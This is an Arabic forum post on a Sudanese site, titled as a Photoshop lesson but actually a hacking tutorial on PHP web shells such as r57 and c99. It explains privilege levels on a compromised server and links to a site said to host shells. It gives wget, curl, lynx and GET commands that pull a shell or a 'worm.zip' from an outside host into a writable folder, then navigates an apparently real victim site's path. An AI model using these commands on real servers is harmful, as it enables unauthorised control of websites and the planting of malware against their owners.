شبــــــــاب الفنية داجو ميدانى
شبــــــــاب الفنية داجو ميدانى
شبــــــــاب الفنية داجو ميدانى
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

شبــــــــاب الفنية داجو ميدانى

شبـــــــــاب الفنيية داجو ميدانى
 
الرئيسيةالبوابةأحدث الصورالتسجيلدخول
بحـث
 
 

نتائج البحث
 
Rechercher بحث متقدم
سحابة الكلمات الدلالية
المواضيع الأخيرة
» حفلة العناكب
تعم الفوتوشوب الدرس الاول Icon_minitimeالخميس أغسطس 28, 2014 1:00 pm من طرف dagoo

» حفلة اولاد ميامى
تعم الفوتوشوب الدرس الاول Icon_minitimeالخميس أغسطس 28, 2014 12:57 pm من طرف dagoo

» حقيقة ام خيال
تعم الفوتوشوب الدرس الاول Icon_minitimeالجمعة مارس 28, 2014 3:23 pm من طرف dagoo

» نكات عجيــــــــــــــــــــــــــــــبة
تعم الفوتوشوب الدرس الاول Icon_minitimeالأحد فبراير 16, 2014 4:15 pm من طرف dagoo

» احداث خطيرة فى السودان منقول
تعم الفوتوشوب الدرس الاول Icon_minitimeالأحد فبراير 16, 2014 4:10 pm من طرف dagoo

» فضختينا مع الاجانب يا بت القلعة
تعم الفوتوشوب الدرس الاول Icon_minitimeالأحد فبراير 16, 2014 3:56 pm من طرف dagoo

» كدا عيب يا ناس الجامعات
تعم الفوتوشوب الدرس الاول Icon_minitimeالأحد فبراير 16, 2014 3:44 pm من طرف dagoo

» فضيحة الفنانة ندى القلعة
تعم الفوتوشوب الدرس الاول Icon_minitimeالأحد فبراير 16, 2014 3:38 pm من طرف dagoo

» انت سودانى ارفع راسك فوق
تعم الفوتوشوب الدرس الاول Icon_minitimeالأحد فبراير 16, 2014 3:35 pm من طرف dagoo

مارس 2024
الإثنينالثلاثاءالأربعاءالخميسالجمعةالسبتالأحد
    123
45678910
11121314151617
18192021222324
25262728293031
اليوميةاليومية
التبادل الاعلاني

انشاء منتدى مجاني




 

 تعم الفوتوشوب الدرس الاول

اذهب الى الأسفل 
كاتب الموضوعرسالة
dagoo
Admin



المساهمات : 120
تاريخ التسجيل : 30/01/2014
العمر : 32

تعم الفوتوشوب الدرس الاول Empty
مُساهمةموضوع: تعم الفوتوشوب الدرس الاول   تعم الفوتوشوب الدرس الاول Icon_minitimeالجمعة يناير 31, 2014 10:30 am


الشيل !! ما هو ؟ انواعه ؟ كيف يتم رفعه ؟ وشرحه واوامره ..

ماهو الشل؟
وما الفائده منه
وما هو استخداماته؟
وكيف يتم رفعه ؟
وماهي اوامره؟

اليوم جايبكم عشان نجاولب على كل الاسئله دى

ماهو الشل؟

وهو عبارة عن سكربت مكتوب بلغة phpshell ويعمل الشل كوسيط بينك وبين النظام الذي هو Linux حيث يستقبل الاوامر منك ويرسلها الى السيرفر المخترق وتعرض نتائج الاوامر على الشل.

ما هو استخدامه ؟
الان الكل يسمع عن الشل وما يعرف شنو استخداماته
وانا اقولك له استخدامات كثيرة فنحن الهكرز نستخدمه في السيطرة على السيرفرات !!

والان جينا للمفيد يستخدم للسيطرة على السيرفر واحيانا السيطرة بشكل كامل على السيرفر والتنقل بالسيرفر ووتصفح ملفاته والتعديل عليها واحيانا يستخدم فى فك الزاند وهذا حسب صلاحياتك على السيرفر

واكيد راح تقولي ايه هيه صلاحياتي ؟؟
وانا اقولك الصلاحيات يعني انت ايه على السيرفر يعنى ايه موقعك عليه
الصلاحيات على السيرفر

1- Root اي انت مدير السيرفر يعني خلاص مافي شي يوقف قدامك تحذف تعدل تضيف حساب على السيرفر وكذا
2- User هنا صلاحياتك على الموقع الي انت رافعلة شل فقط اكرر على الموقع الي انت رافعلة شل فقط اي تعدل تعطي تصاريح الا اذا انتقلت لحالة الرووت
3- nobody, http, apache هنا كلها نفس الشي ما تقدر تحذف ملفات او تعطي تصاريح للملفات
ولكن هذه الصلاحيات فيها ميزة حلوة وهي
انك تقدر تتصفح الحسابات الي على السيرفر اي المواقع التي على السيرفر عكس صلاحيات اليوزر حيث صلاحياتك على الموقع الي انت رافعلة شل فقط

ولكن في سؤال مهم وهي اكيد انت راح
تقولي كيف اعرف صلاحياتي على السيرفر؟
وانا اقولك وانت في الشل تكتب id لمعرفة صلاحياتك وهو امر لينكس

ومن الكلام الي سبق اكيد انت استنجت شي وهي انك حتى تشغل الشل لازم ترفعة على موقع واكيد في سؤال بالطريق وهو

كيف ارفع الشل على موقع؟

وانا اقولك ولا يهمك يتم رفع الشل عن طريق الثغرات واكيد راح تسأل وتقول

ايه هي الثغرة؟ وانا اجاوبك مع انك مللتني من كثر اسالتك

الثغرة: وهي عبارة عن خطأ برمجي وضعف امني يساعدك في دخول نظام معين واختراقه وهذا الخطأ يمكننا استغلاله في أن نجعل النظام يقوم بتنفيذ أوامرنا التي نعطيها إليه واحيانا تساعدك الثغرة في الانتقال من حالة الى اخرى اي مثلا من نوبدي الى رووت حسب نوع الثغرة والثغرات تكون مكتوبة بلغة السي او البيرل او php الخ.....

والان الحمد لله عرفتوا شنو الثغرة ولنفترض انك تمكنت من رفع شل على موقع ولكن اكيد انت تبي تعرف

انواع الشل؟؟

تستطيع الدخول الى هذا الموقع والتعرف على انواع الشيلات كامله
انا رفعت عليه كل انواع الشيلات
http://www.she9ll.by.ru

والان بعد ما الكل عرف ما هو الشل وانواعة واستخداماته راح اشرح لكم الشل الروسى



r57shell الشل الروسي الغني عن التعريف الذي انا افضله من بين كل هذه الشلات وهو يحتاج الى اوامر لينكس ولكن فيه اوامر البحث عن ملفات
الكونفك واوامر سحب الملفات اي الدوال لسحب الملفات جاهزة كلها وفيه ميزة تحميل ملفات من جهازك الى الموقع المخترق من خلاله واما الاصدار الجديد منه (موجود في المنتدى اصداره الجديد منزله الاخ متكي ورا الشمس)
فقد اضيفت له ثغرات وشغلات جميلة اكتشفها بنفسك

اليكم شرحه بالصور:



والان اليكم الشرح حسب الترقيم في الصورة:
1- phpinfo هنا لمشاهدة البرامج المثبته على السيرفر وسوف اشرحها في درس اخر
2- السيف مود اوف والسيف مود هو حالة امنة يتم تفعيلها على السيرفر لمنع تطبيق الدوال.
3- اصدار الينكس للسيرفر المخترق مع اخر تحديث له وهو 2005
4- id وهو كما ذكرت صلاحياتك على السيرفر وهي نوبدي
5- pwd مسارك على السيرفر اي مكان تواجدك
6- ملفات السيرفر وهي ظاهرة في الصورة واليكم تكملة شرح الشل شوفو الصورة:
-

هنا تكتب امر اللينكس مثلا id لمعرفة صلاحياتك
2- هنا المسار الذي انت عليه او اكتب pwd لمعرفة مسارك
3- هنا للتنفيذ اي عند كتابة امر اللينكس اضغط على هذا المستطيل (بالعربي اكتب الامر واضغط انتر)
والان اشرح لكم دوال سحب الملفات والان اليكم الشرح وسوف اشرح على الدالة wget في البداية كشرح خفيف لمعرفة ان الدالة wget شغالة يجب
كتابة الامر which wget وشوفوا الصورة:


وكما تلاحظون كتبنا الامر which wget في مربع تنفيذ الاوامر ونضغط انتر وشوفو النتيجة:


والان كما تلاحظون ظهر لنا الرد الذي في الصورة وهو usr/bin/wget/ اي ان الدالة شغالة والان نكتب امر السحب ولكن قبل كل ذلك يجب
ان تتأكد من ان المجلد الذي سوف تسحب الشل له يملك التصريح 777 شوفوا الصورة:

كما تلاحظون الاختيارات:
1- هذا هو التصريح 777 الذي يجب ان يكون بدون شرطات كما في الصورة
2- هذا الاختيار هو المجلد الذي سوف نسحب له الملف الذي نريد
والان كل شي جاهز المجلد ذو التصريح والملف الذي سوف نسحبه وانا هنا سوف اسحب الشل ch99 للتوضيح لا اكثر ويمكن انت بهذه الطريقة ان تسحب
الاندكس الخاصة بالاختراق او اي شي اخر والان اكتب في مكان تنفيذ الاوامر
كود بلغة HTML:
wget http://www.xxx.com/shell.zip
والشرح للايعاز wget دالتنا التي سوف نسحب بها الملف والموقع الذي بجنبها رفعنا له الشل مضغوط علشان نسحبه للموقع المخترق وعند كتابة الايعاز لن يظهر لك اي رد
والان نحن رفعناه مضغوط فيجب فك ضغطه بالايعاز unzip shell.zip والرد سوف يظهر في الصورة:


كما تلاحظون الرد المحاط بالاحمر يدل على نجاح العملية والان
ماذا لو لم تعمل هذه الدالة؟

اقولك ولا يهمك في دوال غيرها مثلا دالة curl ايضا اذا اردت
التحقق من ان الدالة تعمل ما عليك الا كتابة which curl واليكم شرح بعض دوال السحب
ولنفترض ان الملف الذي نود سحبه هو worm.zip نبدا بالاداة lynx وطريقة سحب الملف كما يلي


كود:
lynx -source www.xxx.com/worm.zip > worm.zipوالاداة curl استخدامها كالتالي

كود:
curl -o worm.zip www.xxx.com/worm.zipواخيرا الدالة get استخدامها كالتالي

كود:
GET www.xxx.com/worm.zip > worm.zipوكما شرحنا سابقا site.com هو الموقع الذي رفعنا الشل مضغوط له واذا اردتم معلومات اكثر عن رفع الشل شوفوا موضوعي في قسم المواضيع المتميزة لرفع الشل
والان نكمل شرح الشل الروسي لنفترض انك عندك ملف وتبي ترفعة للسيرفر والملف على جهازك وش تسوي؟؟ اقولك ولا يهمك انزل بالشل للاسفل وشوف الاختيار هذا بالصورة:



الاختيار 1- هنا لاختيار الملف من جهازك ومعناه استعراض brouse
2- هذا الاختيار معناه رفع اي عند الانتهاء من اختيار الملف من جهازك اضغط عليه والان شرح خفيف عن المسار الذي نحن فيه؟؟

كود:
/mounted-storage/home10/sub001/sc15759-CYAT/adult-city.ws/htmlكما تلاحظون المسار الذي نحن فيه نحن لسنا على المجلد الرئيسي واكيد را تقولي شلون عرفت؟؟ وانا اقولك المجلد الرئيسي اما انه يكون public_html
او يكون على اسم الموقع كما في مسارنا او يكون www والي اخره حسب السيرفر والحين عرفتوا احنا ليش مو على المجلد الرئيسي ولكن اكيد راح تقولي ابي اصير
على المجلد الرئيسي وانا اقول تامر امر احذف المجلد html واكتب الايعاز التالي

كود:
cd /mounted-storage/home10/sub001/sc15759-CYAT/adult-city.ws/مثل ما شفتوا حذفنا المجلد html وكتبنا الايعاز cd وهو يستخدم للدخول الى مجلد معين وتغيير المسارة
الرجوع الى أعلى الصفحة اذهب الى الأسفل
https://dagoo.sudanforums.net
 
تعم الفوتوشوب الدرس الاول
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» تعم الفوتوشوب الدرس الثانى
» تعم الفوتوشوب الدرس الثالث

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
شبــــــــاب الفنية داجو ميدانى :: الفئة الأولى :: دروس فى الحاسوب-
انتقل الى: